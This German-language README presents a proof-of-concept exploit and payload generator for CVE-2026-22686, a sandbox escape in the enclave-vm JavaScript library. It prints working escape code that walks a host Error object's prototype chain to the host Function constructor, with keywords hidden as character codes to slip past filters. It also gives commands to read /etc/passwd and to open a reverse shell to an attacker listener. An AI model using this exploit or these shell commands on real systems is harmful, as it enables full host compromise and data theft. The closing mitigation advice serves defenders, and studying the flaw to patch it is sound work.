Proof-of-Concept-Exploit und Payload-Generator für CVE-2026-22686, einen Sandbox-Escape in enclave-vm <2.7.0, der beliebige Codeausführung und Reverse Shells ermöglicht.
Ein Proof-of-Concept (PoC)-Exploit und Payload-Generator für CVE-2026-22686, eine kritische Sandbox-Escape-Schwachstelle in enclave-vm in Versionen vor 2.7.0, die die Ausführung beliebigen Codes innerhalb der Host-Node.js-Laufzeitumgebung ermöglicht.
⚠️ Haftungsausschluss: Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die Nutzung gegen Systeme ohne vorherige schriftliche Zustimmung ist illegal. Der Autor übernimmt keine Haftung für jeglichen Missbrauch.
enclave-vm ist eine JavaScript-Sandboxing-Bibliothek, die entwickelt wurde, um nicht vertrauenswürdigen Code sicher in einer kontrollierten Umgebung auszuführen. In Versionen < 2.7.0 ermöglicht ein Fehler in der Art und Weise, wie hostseitige Fehlerobjekte für die Sandbox verfügbar gemacht werden, einem Angreifer, die Prototypenkette zu durchlaufen und den Function-Konstruktor des Hosts zu erreichen, wodurch die Sandbox effektiv umgangen wird.
Dieses Repository enthält:
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Kritisch) |
| CWE | CWE-693 — Fehler des Schutzmechanismus |
| Komponente | enclave-vm |
| Betroffen | < 2.7.0 |
| Behoben in | 2.7.0 |
| Auswirkung | Sandbox-Escape → Ausführung beliebigen Codes (RCE) |
Wenn ein sandboxed Tool-Aufruf fehlschlägt, gibt enclave-vm das hostseitige Error-Objekt an den sandboxed Code zurück. Da dieses Fehlerobjekt seine ursprüngliche Prototypenkette aus der Host-Umgebung beibehält, kann ein Angreifer die Kette wie folgt durchlaufen:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Sobald der Host-Function-Konstruktor erlangt wurde, kann der Angreifer beliebiges JavaScript in der Host-Laufzeitumgebung kompilieren und ausführen — wodurch die Sandbox vollständig umgangen wird.
Der Exploit folgt diesen Schritten:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor zu erreichen, was die Function des Hosts ist.Function und ausführen.child_process und führt einen beliebigen Shell-Befehl aus (oder startet eine Reverse Shell).Alle sensiblen Schlüsselwörter (constructor, __proto__, __lookupGetter__, prototype) sind als ASCII-Zeichencodes obfuskiert, um naive statische Filter zu umgehen.
Keine externen Abhängigkeiten — verwendet nur die Python-Standardbibliothek.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Voraussetzungen:
python3 generator.py
Sie werden aufgefordert:
Kopieren Sie dann die generierte Payload und fügen Sie sie in die verwundbare Sandbox-Eingabe ein.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (Angreifer — Listener):
nc -lvnp 4444
Terminal 2 (Generator):
python3 generator.py --revshell 10.10.15.152 4444
Kopieren Sie die resultierende Payload und fügen Sie sie in die Sandbox ein. Sie sollten eine Shell in Terminal 1 erhalten.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Beschreibung |
|---|---|
-c, --command | Auszuführender Shell-Befehl |
--revshell LHOST LPORT | Reverse-Shell-Payload generieren |
--raw | Nur die Payload ausgeben (kein Banner, keine Dekoration) |
--lang {fr,en} | Sprache der Oberfläche erzwingen |
-h, --help | Hilfe und Beispiele anzeigen |
const s = (...args) => String.fromCharCode(...args);
Ein kleiner Helfer, um ASCII-Code-Arrays zur Laufzeit zu dekodieren.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Vermeidet triviale stringbasierte Filter.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
Die Host-Function wird dann verwendet, um den Befehl des Angreifers über child_process.execSync() auszuführen.
Für Entwickler:
enclave-vm auf >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Für Benutzer / Organisationen: